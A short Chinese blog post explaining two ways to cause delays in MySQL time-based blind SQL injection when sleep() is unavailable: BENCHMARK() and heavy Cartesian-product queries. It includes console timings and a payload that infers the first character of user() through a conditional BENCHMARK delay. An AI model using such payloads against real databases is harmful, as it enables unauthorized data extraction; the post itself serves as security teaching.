sql时间盲注另外两种方式(benchmark,heavy query)

在某些情况下进行时间盲注的时候,如果sleep()函数无法使用,我们可以使用以下两种方式来达到延时的效果。

1.benchmark()

benchmark是Mysql的一个内置函数,其作用是来测试一些函数的执行速度。benchmark()中带有两个参数,第一个是执行的次数,第二个是要执行的函数或者是表达式

mysql> select BENCHMARK(10000,md5('a'));
+---------------------------+
| BENCHMARK(10000,md5('a')) |
+---------------------------+
|                         0 |
+---------------------------+
1 row in set (0.00 sec)

mysql> select BENCHMARK(1000000,md5('a'));
+-----------------------------+
| BENCHMARK(1000000,md5('a')) |
+-----------------------------+
|                           0 |
+-----------------------------+
1 row in set (0.33 sec)

mysql> select BENCHMARK(10000000,md5('a'));
+------------------------------+
| BENCHMARK(10000000,md5('a')) |
+------------------------------+
|                            0 |
+------------------------------+
1 row in set (2.93 sec)

可以看到,执行不同的次数那么执行的时间也就不一样,通过这个函数我们可以达到与sleep()同样的延时目的。

测试:

mysql> select 1 and if((substr(user(),1,1)='r'),BENCHMARK(10000000,md5('a')),1);
+-------------------------------------------------------------------+
| 1 and if((substr(user(),1,1)='r'),BENCHMARK(10000000,md5('a')),1) |
+-------------------------------------------------------------------+
|                                                                 0 |
+-------------------------------------------------------------------+
1 row in set (2.90 sec)

 

2.heavy query

heavy query顾名思义就是通过做大量的查询导致查询时间较长来达到延时的目的。通常选择一些比较大的表做笛卡尔积运算。

 

参考链接:

http://www.sqlinjection.net/heavy-query/

 

posted @ 2018-05-19 15:46  c1e4r  阅读(3197)  评论(0编辑  收藏  举报